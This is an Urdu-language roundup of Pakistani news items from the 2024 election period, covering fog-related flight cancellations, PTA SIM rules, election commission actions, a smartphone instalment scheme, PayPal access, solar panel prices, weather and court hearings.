شدید دھند کے باعث ملک بھر میں پروازوں کا شیڈول بُری طرح متاثر ہے،آج ملک بھر میں 24 پروازیں منسوخ کردی گئیں۔
شدیددھند کےباعث 4 پروازوں کومتبادل ائیرپورٹس منتقل کردیا،دمام سےاسلام آباد اورسیالکوٹ کی پروازیں لاہورمنتقل کی گئیں۔اس کے علاوہ پی ائی اے کی کویت سے اسلام آباد کی پرواز کو لاہور میں اتار لیا گیا۔
اسلام آباد جدہ کی 2 پروازیں،اسلام آباد گلگت کی 4 پروازیں منسوخ کی گئیں،کراچی سکھر کی دو پروازیں پی کے 536 537 منسوخ کی گئی۔

پی ٹی اے نے سمز جاری اور فعال کرنے کے ایس او پیز میں تبدیلی کردی

پاکستان ٹیلی کمیونیکیشن اتھارٹی (پی ٹی اے) نے غیرقانونی سمز کا اجراء روکنے کیلئے بڑا اقدام اٹھا لیا۔ پی ٹی اے نے سمز جاری اور فعال کرنے کے ایس او پیز میں تبدیلی کردی۔
تفصیلات کے مطابق دوسری نئی سم کا اجراء اور فعالیت اب8 گھنٹے کے بجائے7 دن میں ہوگی، پہلی نئی سم کا اجراء اور فعالیت 8 گھنٹے میں ہی ہوگی۔ ڈوپلیکیٹ سم کارڈ یا نمبر بھی 8 گھنٹے میں جاری ہوگا۔ سمز سے متعلق نئے ایس او پیز24جنوری سے نافذ العمل ہوں گے۔
اعلامیے کے مطابق ایس او پیز کا اطلاق تمام آپریٹرز، کسٹمر سروس سینٹرز، فرینچائزز اور ریٹیلزر پر ہوگا، نادرا بھی اپنے نظام میں نئے ایس او پیز کو لاگو کرے گا۔
پی ٹی اے کے مطابق فیصلہ صارفین کی جانب سے ایک دن میں کئی کئی سمز کے اجراء پرکیا گیا، ایک دن میں کئی سمز کے اجراء میں جعلی انگوٹھوں کا استعمال کیا جاتا ہے، جعلساز واٹس ایپ انسٹال کرکے کسی اور کے نام پر جاری سم پھینک دیتے ہیں، نئے ایس او پیز سے جعلسازی اور فراڈ کے واقعات میں کمی آئے گی۔

بابری مسجد کی جگہ رام مند ر تعمیر ،پاکستان کی مذمت

پاکستان نے بابری مسجد کی جگہ پر رام مندر کی تعمیر کی مذمت کرتے ہوئے کہا کہ اسے بھارت میں مسلمانوں کی پسماندگی بڑھانے کی کوشش قرار دیا جائے ۔ ترجمان دفتر خارجہ کے مطابق صدیوں پرانی مسجد کو 6 دسمبر 1992 کو انتہا پسند ہندوئوں کے ہجوم نے شہید کر دیا تھا، افسوسناک بات یہ ہے کہ ہندوستان کی اعلیٰ عدلیہ نے نہ صرف اس گھناؤنے فعل کے ذمہ دار مجرموں کو بری کر دیا بلکہ شہید کی گئی مسجد کی جگہ پر مندر بنانے کی بھی اجازت دے دی۔
ترجمان دفتر خارجہ نے کہا کہ پاکستان بھارتی شہر ایودھیا میں شہید کی گئی بابری مسجد کے مقام پر ’رام مندر‘ کی تعمیر کی مذمت کرتا ہے ۔
یہ ہندوستانی مسلمانوں کی سماجی، اقتصادی اور سیاسی پسماندگی کے لیے جاری کوششوں کا ایک اہم پہلو ہے۔شہید کی گئی بابری مسجد کی جگہ پر بنایا گیا مندر آنے والے وقتوں میں ہندوستان کی جمہوریت کے چہرے پر سیاہ دھبہ بنے گا۔
ترجمان دفتر خارجہ نے کہا کہ بھارت میں ’ہندوتوا‘ نظریے کی بڑھتی لہر مذہبی ہم آہنگی اور علاقائی امن کے لیے سنگین خطرہ ہے۔عالمی برادری کو بھارت میں بڑھتے ہوئے اسلامو فوبیا، نفرت انگیز تقاریر اور نفرت انگیز جرائم کا نوٹس لینا چاہیے۔
اقوام متحدہ اور دیگر متعلقہ بین الاقوامی اداروں کو بھارت میں اسلامی ثقافتی مقامات کو انتہا پسند گروہوں سے بچانے اور بھارت میں اقلیتوں کے مذہبی اور ثقافتی حقوق کے تحفظ کو یقینی بنانے کے لیے اپنا کردار ادا کرنا چاہیے۔

انتخابی ضابطہِ اخلاق کی خلاف ورزی پر متعدد امیدواروں کو جرمانے اور نوٹسز کا سامنا

الیکشن کمیشن کی مانیٹرنگ ٹیموں کی جانب سے ملک کے مختلف علاقوں میں انتخابی ضابطہ اخلاق کی خلاف ورزی پر متعدد امیدواروں پر جرمانے عائد کیے گئے۔
الیکشن کمیشن کی مانیٹرنگ ٹیموں کی جانب سے انتخابی ضابطہ اخلاق کی خلاف ورزی کرنے والے امیدواروں کیخلاف جرمانوں کا سلسلہ جاری ہے۔ اس ضمن میں ڈسٹرکٹ مانیٹرنگ آفیسر نجیب اللہ کاکڑ، زیارت بلوچستان نے انتخابی ضابطہ اخلاق کی خلاف ورزی کرنے پر مسلم لیگ ن کے صوبائی اسمبلیPB-07کے امیدوار نور محمد دمڑ پر 40 ہزار روپے جرمانہ عائد کیا گیا۔
اس کے علاوہ ڈسٹرکٹ مانیٹرنگ آفیسر مردان نے صوبائی اسمبلی PK-58کے امیدوار ذوالفقار خان پر 25 ہزار روپے، PK-54 مردان سے اے این پی کے امیدوار گوہر علی شاہ پر10 ہزار روپے اور PK-61 مردان سے ن لیگی امیدوار جمشید خان پر 10 ہزار روپے کا جرمانہ عائد کیا گیا۔
مانیٹرنگ ٹیموں نے چاروں صوبوں اور اسلام آباد میں اہم شاہراہوں پر سے ممنوع تشہیری مواد ہٹانے کی کارروائی مزید تیز کر دی ہے، نیز ضابطہ اخلاق کی خلاف ورزی کرنے پر ڈسٹرکٹ مانیٹرنگ آفیسر سوات نے متعلقہ امیدوار کو 20 ہزار روپے جرمانہ عائد کیا گیا۔ اس کے علاوہ ڈسٹرکٹ مانیٹرنگ آفیسرز نے مختلف شہروں میں امیدواروں کو ضابطہ اخلاق کی خلاف ورزی پر نوٹسز جاری کیے۔
ڈسٹرکٹ مانیٹرنگ افسران کی مختلف اضلاع میں انتخابی امیدواروں کے ساتھ میٹنگز بھی منعقد ہوئیں، جس میں انہیں واضح طور پر بتایا گیا کہ کسی بھی خلاف ورزی کی صورت میں فوری کارروائی عمل میں لائی جائے گی۔الیکشن کمیشن کی واضح ہدایات کے مطابق ضابطہ اخلا ق پر عمل درآمد کو یقینی بنایا جائے گا۔

آرمی چیف نے مضبوط دفاع یقینی بنانے کیلئے خود انحصاری کو ضروری قرار دیدیا

سپہ سالار جنرل عاصم منیر نے مضبوط دفاع یقینی بنانے کیلئے خود انحصاری کو ضروری قرار دیتے ہوئے کہا ہے کہ قومی ترقی اور خوشحالی کا راستہ پی او ایف واہ جیسی مقامی صنعتوں سےمتعین ہوتا ہے ۔
پاک فوج کے شعبہ تعلقات عامہ ( آئی ایس پی آر) سے جاری بیان کے مطابق آرمی چیف جنرل عاصم منیر نے پاکستان آرڈیننس فیکٹری واہ کا دورہ کیا،جنرل عاصم منیر کو ملک کی قابل رشک دفاعی صنعت پر بریفنگ دی گئی، جس میں پیداواری صلاحیت،ملکی دفاعی ضروریات،برآمدی اہلیت سے آگا کیا گیا، جبکہ آرمی چیف نے مقامی طور پر تیار کردہ نئے ہتھیاروں اور جنگی سازو سامان کا معائنہ بھی کیا ۔
آئی ایس پی آر کے مطابق آرڈیننس فیکٹری واہ میں جنرل عاصم منیر کی صدارت اجلاس بھی ہوا ، جس میں پی او ایف کی وسیع رینج ، پیداواری صلاحیت ، ملکی دفاعی ضروریات اور برآمدی اہلیت کا بتایا گیا ۔
آرمی چیف جنرل عاصم منیر نے مضبوط دفاع یقینی بنانے کیلئے خود انحصاری،جدید ترین ٹیکنالوجی ضروری قرار دیتے ہوئے کہا کہ پی او ایف جیسی مقامی صنعتیں ترقی وخوشحالی کی سمت طے کرتی ہیں۔
سربراہ پاک فوج آرڈیننس فیکٹری کے عملے سے بھی ملے ۔اورپی او ایف کو ملک کی صف اول کی دفاعی صنعت بنا کر ملکی سلامتی اور معیشت میں اہم کردار ادا کرنےوالے کارکنان کی محنت اور لگن کو سراہا ۔
جنرل عاصم منیر نے کہا کہ ملکی ترقی اور خوشحالی کی سمت پی او ایف جیسی مقامی صنعتیں ہی طے کرتی ہیں ۔ ان اہداف کے حصول کیلئے کام جاری رکھا جائے گا ۔

آصف علی زرداری سےسابق گورنرپنجاب چوہدری محمد سرور کی ملاقات

پیپلزپارٹی پارلیمینٹرینزکےصدرآصف علی زرداری سےسابق گورنرپنجاب چوہدری محمد سرورنےبلاول ہاؤس لاہورمیں ملاقات کی۔
صدرپیپلزپارٹی پارلیمینٹرینزآصف زرداری نےاین اےایک سوستائیس سےبلاول بھٹوکی حمایت پرچوہدری محمد سرورکاشکریہ اداکیا۔
آصف زرداری اورچوہدری سرورکےدرمیان ملکی وسیاسی صورتحال پرگفتگو ہوئی۔ جبکہ پنجاب میں سیاسی حکمت عملی پر بھی تبادلہ خیال ہوا۔
آصف علی زرداری اور چوہدری محمد سرور نے ملاقات کے دوران ملک میں شفاف انتخابات کرانے پر بھی زور دیا۔

آسان اقساط پر سرکاری موبائل فون کے لیے درخواست دینے کا طریقہ کیا ہے؟

وزارت انفارمیشن اینڈ ٹیکنالوجی نے ’سمارٹ فون فار آل‘ منصوبے کا اعلان کیا تھا، جس کا مقصد عوام کو آسان اقساط کے ذریعے اسمارٹ فونز فراہم کرنا ہے۔ یہ اقدام شہریوں کو افراط زر کی وجہ سے درپیش مالی چیلنجز سے نمٹنے کے طور پر سامنے آیا تھا۔ اب شہری خاطر خواہ پیشگی ادائیگی کے بغیر اسمارٹ فونز تک رسائی حاصل کرسکتے ہیں۔

اس منصوبے نے بھر پور عوامی توجہ حاصل کی ہے کیونکہ حکومت ذمہ دارانہ مالی طرز عمل کو فروغ دینے کی طرف اقدامات کر رہی ہے۔ حکومت ان شہریوں کے لیے موبائل فون تک رسائی میں اضافے کو یقینی بنا رہی ہے جو اسمارٹ فون خریدنا بوجھ محسوس کرتے ہیں۔

نگراں وزیر سائنس و ٹیکنالوجی ڈاکٹر عمر سیف کے مطابق پاکستان میں ٹیلی کام کمپنیاں لیزنگ منصوبوں کے ذریعے شہریوں کو موبائل فونز پیش کرسکیں گی جس سے موبائل براڈ بینڈ کے فوائد زیادہ سے زیادہ صارفین تک پہنچ سکیں گے۔

توقع ہے کہ اسمارٹ فون کی قسطوں کے آئندہ اجراء سے پاکستان میں تمام شہریوں کو اسمارٹ فونز سے لیس کیا جائے گا، جس کا وسیع تر مقصد معیشت کو متحرک کرنا اور ای کامرس کے استعمال کو فروغ دینا ہے۔ سرکاری طور پر موبائیل حاصل کرنے کے لیے درخواست دینے کا طریقہ کچھ یوں ہے:
جی ایس ایم اے اسمارٹ فون فار آل اسکیم
اس منصوبے کے تحت افراد کو آسان اقساط پر 10 ہزار روپے سے لے کر ایک لاکھ روپے تک کے اسمارٹ فونز خریدنے کا اختیار دیا گیا ہے، جس کی ادائی کا دورانیہ 3 سے 12 ماہ ہے۔

اہلیت:
شناختی کارڈ رکھنے والے شہری، بشمول طلبا، پیشہ ور افراد اور کم آمدنی والے شہری اس اسکیم میں حصہ لینے کے اہل ہوں گے۔

سود سے پاک اقساط:
مجوزہ منصوبے کے تحت پاکستانی شہری کم از کم 20 فیصد ڈاؤن پیمنٹ کرکے بلا سود اقساط پر اسمارٹ فونز حاصل کرسکتے ہیں۔

190 ملین موبائل فونز کے استعمال کے ساتھ پاکستان عالمی سطح پر 7ویں سب سے بڑی موبائل فون مارکیٹ کے طور پر اپنی پوزیشن برقرار رکھے ہوئے ہے۔ ’اسمارٹ فون فار آل‘ منصوبے کا مقصد ڈیجیٹل تقسیم کو ختم کرنا ہے، اس بات کو یقینی بنانا ہے کہ اسمارٹ فونز شہریوں کی متنوع رینج کے لیے زیادہ قابل رسائی ہوں۔

موبائیل فونز کے حصول کے لیے مزید اپ ڈیٹس اور آن لائن ایپلی کیشنز کے لیے شہریوں کو وزارتِ انفارمیشن اینڈ ٹیکنالوجی کے ڈیجیٹل پلیٹ فارمز سے مستفید ہونے کا کہا گیا ہے۔

وزارتِ انفارمیشن اینڈ ٹیکنالوجی کے مطابق یہ اقدام نہ صرف افراد کو درپیش معاشی چیلنجوں سے نمٹتا ہے بلکہ ڈیجیٹل شمولیت کو فروغ دینے اور معاشی ترقی کے لیے ٹیکنالوجی کے استعمال کو بڑھانے کے وسیع تر مقصد سے بھی ہم آہنگ ہے۔

ملک کے بیشتر بالائی علاقوں میں موسم سرد اور خشک رہنے کی پیشگوئی

محکمہ موسمیات کا کہنا ہے کہ ملک کے بیشتر بالائی علاقوں میں موسم سرد اور خشک رہنے کا امکان ہے۔
محکمہ موسمیات کے مطابق شمالی بلوچستان کے مختلف علاقوں میں موسم سرد رہنے اور بالائی سندھ، پنجاب اورخیبر پختونخوا کے بیشترمیدانی علاقوں میں دھند چھائے رہنے کا امکان ہے۔
اسلام آباد اور گرد و نواح میں موسم سرد اور خشک جبکہ مری، گلیات اور گرد و نواح میں شدید سرد اور خشک رہنے کی پیشگوئی کی گئی ہے۔
بہاولپور، ساہیوال، اوکاڑہ، قصور، لاہور، سیالکوٹ، نارووال، گوجرانوالہ، جہلم، منگلا، فیصل آباد، جھنگ، سرگودھا، منڈی بہاؤالدین، ٹوبہ ٹیک سنگھ، خانیوال، ملتان، خان پور، رحیم یار خان اور حافظ آباد میں دھند چھائے رہنے کا امکان ہے۔
جیکب آباد، موہنجوداڑو، سکھر، لاڑکانہ، دادو، گھوٹکی، خیر پور، کشمور، پڈعیدن کے مختلف علاقوں اور چارسدہ، مردان، نوشہرہ، صوابی، پشاور، لکی مروت، بنوں، ڈیرہ اسماعیل خان اور گرد و نواح میں بھی شدید دھند چھائے رہنے کی پیشگوئی ہے۔
محکمہ موسمیات کے مطابق گذشتہ 24 گھنٹوں کے دوران ملک کے بیشتر علاقوں میں موسم سرد اور خشک جبکہ شمالی علاقوں میں شدید سرد رہا۔ پنجاب، بالائی سندھ اورخیبر پختونخوا کے میدانی علاقے شدید دھند کی لپیٹ میں رہے تاہم جنوبی پنجاب میں بعض مقامات پر ہلکی بارش ہوئی۔
سب سے زیادہ بارش رحیم یار خان اورڈیرہ غازی خان میں 2ملی میٹر بارش ریکارڈ ہوئی۔ منگل کو ریکارڈ کیے گئے کم سے کم درجہ حرارت سکردو منفی8،گوپس، کالام منفی 6، گلگت منفی 5، استور منفی 4، دیر اور ژوب میں منفی 3 ڈگری سینٹی گریڈ ریکارڈ کیا گیا۔
رواں ہفتے کے دوران پنجاب، خیبر پختونخوا اور بالائی سندھ کے میدانی علاقے شدید دھندکی لپیٹ میں رہیں گے۔محکمہ موسمیات نے شہریوں کو محتاط رہنے کی ہدایت کی ہے، شدید دھند کے باعث پنجاب کے بیشتر علاقوں میں دن کے درجہ حرات معمول سے کم رہیں گے۔

الیکشن کمیشن نے145 سیاسی جماعتوں کوانتخابی نشانات الاٹ کر دیئے

الیکشن کمیشن آف پاکستان نے ملک بھر میں 8 فروری کو شیڈول عام انتخابات 2024 کیلئے مجموعی طور پر 145 جماعتوںکے انتخابی نشانات آر اوز کو بھجوا دئیے ۔تاہم الیکشن کمیشن نےتحریک انصاف سمیت 16 جماعتوں کےانتخابی نشانات روک لئے۔
ای سی پی کی جانب سے پاکستان مسلم لیگ ن کو شیر ، پاکستان پیپلزپارٹی پارلیمنٹیرین کو تیر، استحکام پاکستان پارٹی کو عقاب اورپاکستان تحریک انصاف نظریاتی کو بلے بازکا نشان الاٹ کیا گیا ہے۔
پاکستان تحریک انصاف پارلیمنٹیرین کو پگڑی اور پاکستان مسلم لیگ جناح کو سائیکل ، پاکستان پیپلزپارٹی کو تلوار اور ایم کیو ایم کو موم بتی ، اورمتحدہ قومی موومنٹ پاکستان کو پتنگ کا نشان الاٹ کیا گیا ہے۔
اسی طرح جمعیت علمائے اسلام پاکستان کو کتاب، بلوچستان نیشنل پارٹی کو کلہاڑی جماعت اسلامی پاکستان کو ترازو ،تحریک لبیک پاکستان کو کرین ، اور پاکستان عوامی پارٹی کو انسانی آنکھ کا نشان الاٹ کیا گیا ہے۔
ریٹرنگ آفیسرز الیکشن کمیشن کیطرف سے دئیے جانے والے انتخابی نشان تیرہ جنوری کو الاٹ کرینگے ۔الیکشن کمیشن نے مجموعی طور پر 145 جماعتوں کو انتخابی نشانات الاٹ کئے ہیں۔
الیکشن کمیشن نے تحریک انصاف کو انتخابات نشان نہ الاٹ کرنے سے متعلق کہا ہے کہ پی ٹی آئی انٹراپارٹی انتخابات کروانے میں ناکام رہی ،لہٰذاالیکشن 2024 کیلئے پی ٹی آئی انتخابی نشان لینےکی اہل نہیں۔
ای سی پی کے مطابق آل پاکستان تحریک ،عوامی پارٹی پاکستان ،بہاولپور نیشنل عوامی پارٹی انتخابی نشان سے محروم ہے اورسب کا پاکستان،نظام مصطفیٰ پارٹی ،نیشنل پیس کونسل پارٹی کو بھی انتخابی نشانہ نہ مل سکا۔اس کے علاوہ سنی تحریک سمیت دیگر سیاسی جماعتوں کا انتخابی نشان بھی روک لیا گیا ہے۔

جن لوگوں کی موٹرسائیکل اورموبائل چوری ہوئے انہیں مفت دیں گے، گورنر سندھ

گورنرسندھ کامران ٹیسوری نے جن لوگوں کی دسمبر میں موٹر سائیکل چوری ہوئی انہیں مفت بائیک دینے کا اعلان کر تے ہوئے کہا ہے کہ صرف بائیک نہیں جن رائیڈرز کا فون چوری ہواوہ بھی انہیں دیں گے۔
کراچی میں میک اےوش فاؤنڈیشن کی فنڈریزنگ تقریب سے خطاب کرتے ہوئے گورنر سندھ کامران ٹیسوری نے کہا کہ پہلےگورنرہائوس کےگیٹ سےہی لوگوں کوبھگا دیا جاتا تھا،جب سےیہ گھنٹی لگی ہےہربندہ گورنرہاؤس آسکتاہے،میں خودغریب کےبچوں کو چھڑوانے کےلیے ایس ایچ اوزکوفون کرتاہوں۔
انہوں نے کہا کہ جتنےبھی بچےبیمارہیں اللہ انہیں صحت دے،اللہ کسی بھی والدین کو اولاد کا دکھ نہ دے،ہمیں بھی پاکستان کےمسائل حل کرنےکےلیےذمہ داری لینی ہے، اشتیاق بیگ اوراختیاربیگ لوگوں کوملانےمیں ہمیشہ آگےرہتےہیں۔
گورنر سندھ نے کہا کہ اگرہم وسائل کودرست طریقےسےاستعمال کرلیں توملک ٹھیک ہوسکتاہے،ان بچوں کی جب خواہش پوری ہوتی ہےتوان کےدل سےدعانکلتی ہے،پاکستان میں جہاں مسائل ہیں وہاں وسائل بھی موجودہیں۔

پے پال اکاؤنٹ کے خواہشمند افراد کیلئے حکومت نے بڑا اقدم اٹھا لیا

حکومت نے فری لانسرز کی دیرینہ مانگ کو حل کر دیا اور انہیں بین الاقوامی گیٹ وے پے پال کے ذریعے ترسیلات زر کو چینلائز کرنے کے قابل بنایا ہے۔
نگراں وفاقی وزیر برائے انفارمیشن ٹیکنالوجی اور ٹیلی کمیونیکیشن ڈاکٹر عمر سیف نے صحافیوں کے گروپ سے گفتگو کرتے ہوئے کہاکہ کابینہ نے نجی شعبے کی کمپنیوں کو خلا میں کم مدار میں سیٹلائٹ استعمال کرنے کی اجازت دینے کے لیے قومی خلائی پالیسی کی منظوری دے دی ہے۔
ڈاکٹر سیف نے بتایا کہ وزارت انفارمیشن ٹیکنالوجی اور ٹیلی کمیونیکیشن اگلے ہفتے کئی ڈیجیٹل اقدامات شروع کرنے کے لیے تیار ہے جس میں پے پال کے ذریعے ترسیلات زر کو چینلائز کرنا، صارفین کو آسان اقساط پر اسمارٹ فونز کی فراہمی کے ساتھ ساتھ آئی ٹی سے فارغ التحصیل افراد کے لیے معیاری معیار کا ٹیسٹ بھی شامل ہے تاکہ پاکستان کو ٹیک ڈیسٹینیشن بنایا جا سکے۔
وزیر نے کہا کہ پے پال پاکستان نہیں آ رہا لیکن ایک معاہدہ طے پا گیا ہے جس کے تحت ترسیلات زر کو تیسرے فریق کے ذریعے پے پال سے چینلائز کیا جائے گا۔ اس سلسلے میں باقاعدہ افتتاحی تقریب 11 جنوری کو مقرر ہے۔
ڈاکٹر سیف نے مزید بتایا کہ ان کی وزارت ٹیلی کام کمپنیوں کے دیگر تمام اسٹیک ہولڈرز کے تعاون سے 12 جنوری 2024 سے ایک اور اقدام شروع کرے گی جس کے تحت صارفین کو جدید ترین ماڈل فون آسان قسطوں پر ملیں گے۔ Jazz قسطوں پر آئی فون پیش کرنے کا منصوبہ بنا رہا ہے۔قسط ادا کرنے میں ناکامی کی صورت میںپاکستان ٹیلی کمیونیکیشن اتھارٹی (PTA) ڈیوائس کی شناخت، رجسٹریشن اور بلاکنگ سسٹمز (DIRBS) کی طرز پر ہینڈ سیٹ کو بلاک کر دے گی۔
آئی ٹی کے وزیر نے کہا کہ اس کا مقصد ذمہ دارانہ مالیاتی رویے کی ترغیب دینا اور اس بات کو یقینی بنانا ہے کہ اسمارٹ فون کی رسائی میں توسیع ہوتی رہے۔ اس پالیسی کے تحت ٹیلی کام کمپنیوں کو قسطوں کے منصوبوں کے ذریعے صارفین کو براہ راست اسمارٹ فونز پیش کرنے کا موقع ملے گا، اس طرح پاکستان میں خاص طور پر کم آمدنی والے طبقوں میں موبائل براڈ بینڈ کے فوائد کو وسعت ملے گی۔

پاکستان میں سولر پینلز کی قیمت میں 50 فیصد سے زائد کمی ریکارڈ

پاکستان میں سولر پینلز کی قیمت میں 50 فیصد سے زائد کمی ریکارڈ کی گئی ہے۔
میڈیا رپورٹس کے مطابق ملک میں سولر پینلز کی قیمتوں میں اچانک بڑی کمی واقع ہوئی ہے اور 70 ہزار والے سولر پینل کی قیمت 30 ہزار روپے تک گرگئی ہے۔
رپورٹ کے مطابق دراصل سولر سیل اور فوٹو وولٹک (پی وی) ماڈیول یا عرف عام میں سولر پینلز کی مینوفیکچرنگ میں چینی اجارہ داری کے باعث توڑنے کیلئے امریکا اور یورپ میں گیگا واٹ کی سطح پر پی وی سیل اور ماڈیول پروڈکشن کی فیسیلٹیز کے منصوبے بنائے گئے تھے جو اب تاخیر کا شکار ہو چکے ہیں یا انہیں مکمل طور پر ختم کر دیا گیا ہے۔
چونکہ مغرب میں سولر پینلز کی بڑے پیمانے پر خریداری متوقع تھی۔اس لیے ایک جانب چینی سرمایہ کاروں نے بڑے پیمانے پر سولر پینل کا اسٹاک جمع کرلیا تو دوسری جانب مغربی سرمایہ کاروں نے بڑے پیمانے پر سولر پینل خرید کر جمع کر رکھے ہیں۔ اب یہ ذخیرہ شدہ مزید نقصان کا شکار ہیں۔

معاشی ماہرین کے مطابق طلب سے زیادہ رسد کے باعث ہمیشہ قیمتیں کم ہوتی ہیں لیکن سولر پینل سستے ہونے کا ایک اور سبب ان میں استعمال ہونے والا میٹریل بھی ہے۔ لاگت میں کمی کا سبب پینلز میں فوٹو وولٹک سیل کی بہتر پیکنگ، کم چاندی کا استعمال، پتلا شیشہ، پتلے فریم اوربڑے ماڈیول شامل ہیں۔

عام انتخابات 8 فروری کو ہی ہوں گے، ذرائع الیکشن کمیشن

سینیٹ میں عام انتخابات 2024 ملتوی کرانے کی قرارداد کثرت رائے سے منظوری پر الیکشن کمیشن کا اہم ردعمل سامنے آیا ہے۔
ذرائع الیکشن کمیشن کے مطابق عام انتخابات 8 فروری کو ہی ہوں گے،سینیٹ کی قراد کا الیکشن شیڈول پر کوئی اثر نہیں پڑے گا۔
ذرائع الیکشن کمیشن سپریم کورٹ کےعلاوہ کوئی بھی اورحکم انتخابی شیڈول متاثرنہیں کرسکتا۔

وادی نیلم میں کڑاکے کی سردی درجہ حرارت منفی سترہ تک پہنچ گیا

وادی نیلم میں موسمیاتی تبدیلی کے آثارنمایاں نظر آنے لگے,بالائی علاقوں میں کڑاکے کی سردی درجہ حرارت منفی سترہ تک پہنچ گیا،ندی نالے اور چشمے جم گئے۔
وادی نیلم کے بالائی علاقے شديد سردی کی لپیٹ میں آگئے،،شديد سردی کی وجہ سے سیاحوں کی آمدورفت بند ہوگئی۔سیاحت سے جڑے لوگوں کے کاروبار ٹھپ ہوکررہ گئے، خشک سردی کے باعث بیماریاں پھوٹنے کے خطرات بھی منڈلانے لگے۔
ضلع نیلم میں گزشتہ تین ماہ سےبجلی اورانٹرنیٹ کی آنکھ مچولی جاری ہے،شديد سردی کی وجہ سے بالائی نیلم کے سکولوں میں چھٹیاں کردی گئیں۔
دوسری جانب زیارت اورگردونواح میں رات گئےشروع ہونےوالی برف باری صبح سویرے تک جاری رہی۔شہر میں چھ انچ جبکہ پہاڑوں پرآٹھ انچ کےقریب برپڑچکی ہے،برفباری کےحسین مناظر سے مقامی لوگ اور سیاح خوب لطف اندوز ہورہے ہیں۔

انتخابی سروے خلافِ ضابطہ قرار، پیمرا کو متعلقہ ٹی وی چینلز کیخلاف کارروائی کا حکم

انتخابی سروے پرپابندی کی خلاف ورزی کے مرتکب ٹی وی چینلز کے خلاف کارروائی کے لیے الیکشن کمیشن نے پاکستان الیکٹرونک میڈیا ریگولیٹری اتھارٹی (پیمرا) کو تادیبی کارروائی کا حکم دیا ہے۔

الیکشن کمیشن کی جانب سے چیئرمین پیمرا کو ارسال کردہ خط میں انتخابی حلقوں میں سروے کرنے والے ٹی وی چینلز کے خلاف کارروائی کی ہدایت کرتے ہوئے اس ضمن میں پیمرا سے فوری طور پر رپورٹ بھی طلب کی ہے۔

الیکشن کمیشن آف پاکستان کی جانب سے پیمرا کو ارسال کردہ خط میں کہا گیا ہے کہ میڈیا کے لیے جاری کردہ ضابطہ اخلاق کے تحت اس نوعیت کے انتخابی سروے کی ممانعت ہے۔

مراسلے میں کہا گیا ہے کہ متعدد ٹی وی چینلز حلقوں کے سروے کر رہے ہیں، سروے ووٹرز پر اثر انداز ہونے کے مترادف ہیں اورنیشنل میڈیا کے ضابطہ اخلاق کی دفعہ 12 کی صریح خلاف ورزی بھی۔

واضح رہے کہ 3 نومبر کو پاکستان الیکٹرانک میڈیا ریگولیٹری اتھارٹی نے 8 فروری کو ہونے والے آئندہ عام انتخابات کے لیے تمام ٹی وی چینلز کو پہلے ہی ہدایات جاری کردی تھیں۔

پیمرا کی جاری کردہ ہدایات کے مطابق چینلز کالعدم تنظیموں، اُن کے نمائندوں یا اراکین کے بیانات نشر نہیں کر سکتے۔

’جمہوریت، جمہوری اصولوں اور انتخابی عمل کو مضبوط بنانے کے لیے یہ پاکستان کے تمام شہریوں، اداروں، تنظیموں اور اداروں کی قومی ذمہ داری ہے کہ وہ آزادانہ، منصفانہ اور شفاف انتخابات کے انعقاد کے لیے ہر حد تک تعاون اور سہولت فراہم کریں۔‘

پیمرا کی ہدایات کے مطابق عوام کو تعلیم دینے، منصفانہ رائے کی تشکیل اور ملک میں جمہوری حکومت کے قیام کے لیے ضروری جمہوری عمل کو مضبوط بنانے میں الیکٹرونک میڈیا کا اہم کردار ہے۔

’کوئی نجی معلومات، خط و کتابت یا گفتگو کو پبلک ڈومین میں نہیں لانا چاہیے، جب تک یہ عوامی مفاد کے تحت مقصود نہ ہو۔‘

ہدایات میں تمام لائسنس دہندگان کو عام انتخابات سے قبل اپنی ٹرانسمیشن نشر کرتے وقت ایسا کوئی مواد نشر نہ کرنے کی ہدایت کی گئی تھی جس سے شہریوں کے ذہنوں میں انتخابات کے انعقاد کے حوالے سے شکوک و شبہات پیدا ہوں۔

’اس طرح کی کسی بھی خبر یا مواد کو نشر کرنا پیمرا قوانین بشمول ضابطہ اخلاق 2015 کی خلاف ورزی ہے۔‘

پیمرا کی ہدایات کے مطابق کوئی بھی ایسا مواد نشر نہیں کیا جا سکتا جو اسلامی اقدار، نظریہ پاکستان، بانیانِ پاکستان قائداعظم محمد علی جناح اور ڈاکٹر علامہ محمد اقبال یا قوم کے خلاف ہو۔

عمران خان اور بشریٰ بی بی کی ضمانت قبل از گرفتاری میں 16 جنوری تک توسیع

پاکستان تحریک انصاف ( پی ٹی آئی ) کے سابق چیئرمین اور سابق وزیر اعظم عمران خان اور انکی اہلیہ بشریٰ بی بی کی ضمانت از قبل گرفتاری میں 16 جنوری تک توسیع کردی گئی ہے۔

منگل کے روز اسلام آباد کی عدالت میں ڈیوٹی جج احمد ارشد محمود نے سابق چیئرمین پی ٹی آئی کی 6 اور بشریٰ بی بی کی ایک مقدمے میں درخواست ضمانت پر سماعت کی جس کے دوران بشریٰ بی بی کو حاضری لگا کر جانے کی اجازت دے دی گئی۔

دوران سماعت بشری بی بی وکیل خالد یوسف چوہدری، عمیر نیازی اور عثمان گل کے ہمراہ عدالت کے روبرو پیش ہوئی تھیں جبکہ پراسیکیوشن کی جانب سے کوئی بھی پیش نہیں ہوا۔

ڈیوٹی جج احمد ارشد محمود کا کہنا تھا کہ تفتیشی افسر عدالت میں پیش نہیں ہوا جس کے باعث سماعت 16 جنوری تک ملتوی کی جاتی ہے۔

علاوہ ازیں عدالت نے سابق چیئرمین پی ٹی آئی اور بشریٰ بی بی کی ضمانت قبل از گرفتاری میں 16 جنوری تک کی توسیع بھی کردی۔

ایف پی سی سی آئی کے انتخابات 

کراچی: فیڈریشن آف پاکستان چیمبرز آف کامرس اینڈ انڈسٹری (ایف پی سی سی آئی)، جو کہ ٹریڈ چیمبرز کی ایک اعلیٰ ترین باڈی ہے، نے 25-2024 کے انتخابات کے لیے ہفتہ (30 دسمبر) کو تمام انتظامات کر لیے ہیں۔

صدر اور سینئر نائب صدر کے عہدوں کے لیے ووٹنگ ہوگی۔ سندھ، بلوچستان، خیبرپختونخوا اور پنجاب سے چیمبر آف کامرس اینڈ انڈسٹریز کی نمائندگی کرنے والے چار نائب صدور کا انتخاب بھی کیا جائے گا، اس کے علاوہ انجمن تجارت و صنعت کی نمائندگی کرنے والے چار نائب صدور بھی منتخب کیے جائیں گے۔ ووٹنگ صبح 9.30 بجے شروع ہو کر شام 5.30 بجے تک جاری رہے گی اور دوپہر 12.30 سے ​​دوپہر 2.30 بجے تک دعا اور لنچ کے لیے وقفہ ہوگا۔

